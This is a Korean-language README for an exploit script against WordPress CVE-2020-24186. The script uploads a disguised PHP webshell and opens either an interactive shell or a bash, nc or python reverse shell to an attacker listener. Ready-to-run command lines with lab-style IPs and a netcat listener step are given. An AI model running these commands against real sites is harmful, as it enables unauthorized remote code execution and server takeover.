CVE-2020-24186

이 스크립트는 WordPress의 CVE-2020-24186 취약점을 악용하여 위장된 PHP 페이로드를 업로드하고 대상 시스템에서 셸을 획득합니다. 작동 모드는 세 가지입니다:

1. 인터랙티브 셸:
   기본 웹셸을 업로드하고 인터랙티브 모드로 진입하여 cmd 매개변수를 통해 명령을 보낼 수 있습니다.

2. 수동 리버스 셸:
   웹셸을 업로드하고 리버스 셸 페이로드를 전송하지만, 리스너를 자동으로 실행하지 않습니다. 지정된 IP와 포트에서 직접 리스너를 수동으로 시작해야 합니다.

3. pwntools를 이용한 리버스 셸:
   웹셸을 업로드하고 리버스 셸 페이로드를 전송하며, 스크립트가 pwntools를 사용하여 리스너를 자동으로 실행해 리버스 연결을 포착합니다.

요구 사항

• Python 3.x
• Python 라이브러리:
  • requests
  • pwn (pwntools)
• (선택 사항) 트래픽을 프록시로 전송하려는 경우 프록시 설정 (예: Burp Suite 테스트용).

사용 옵션

• --url: 대상 사이트의 기본 URL (예: http://10.10.110.119).
• --blogpath: 게시물 경로 (기본값: /?page=1).
• --mode: 작동 모드, interactive 또는 reverse.
• --lhost: 리버스 셸용 로컬 IP (reverse 모드에서 필수).
• --lport: 리버스 셸용 로컬 포트 (reverse 모드에서 필수).
• --reverse_method: 리버스 셸 방식: bash, nc, 또는 python (기본값은 bash).
• --manual: reverse 모드에서 사용 시 스크립트가 리스너를 실행하지 않습니다. 직접 리스너를 수동으로 시작해야 합니다.
• --use-proxy: 설정하면 요청이 구성된 프록시를 통해 전송됩니다.

예제

1. 인터랙티브 셸

웹셸을 업로드하고 명령을 보낼 수 있는 인터랙티브 세션을 시작합니다:

python3 CVE-2020-24186.py --url http://10.10.110.119 --blogpath "/?page=1" --mode interactive --use-proxy

2. 수동 모드에서의 리버스 셸

웹셸을 업로드하고 리버스 셸 페이로드를 전송하지만 자동으로 리스너를 시작하지 않습니다. 직접 리스너를 수동으로 시작하세요 (예: netcat 사용):

python3 CVE-2020-24186.py --url http://10.10.110.119 --blogpath "/?page=1" --mode reverse --lhost 10.10.1.1 --lport 9002 --reverse_method bash --manual --use-proxy

그런 다음 다른 터미널에서 리스너를 수동으로 시작합니다:

nc -lvnp 9002

1. pwntools를 이용한 리버스 셸

웹셸을 업로드하고 리버스 셸 페이로드를 전송한 다음, 스크립트가 pwntools를 사용하여 리스너를 자동으로 실행해 연결을 포착하게 합니다:

python3 CVE-2020-24186.py --url http://10.10.110.119 --blogpath "/?page=1" --mode reverse --lhost 10.10.1.1 --lport 9002 --reverse_method bash --use-proxy

스크립트는 10.10.1.1:9002에서 연결을 기다리며, 연결되면 인터랙티브 셸을 제공합니다.

참고 사항 대상 사이트가 CVE-2020-24186에 취약한지 확인하고 보안 테스트에 필요한 권한이 있는지 확인하세요. 조정이 필요하면 --php_payload 옵션을 사용하여 PHP 페이로드를 수정할 수 있습니다. --use-proxy 플래그를 사용하는 경우 프록시 설정을 다시 확인하세요.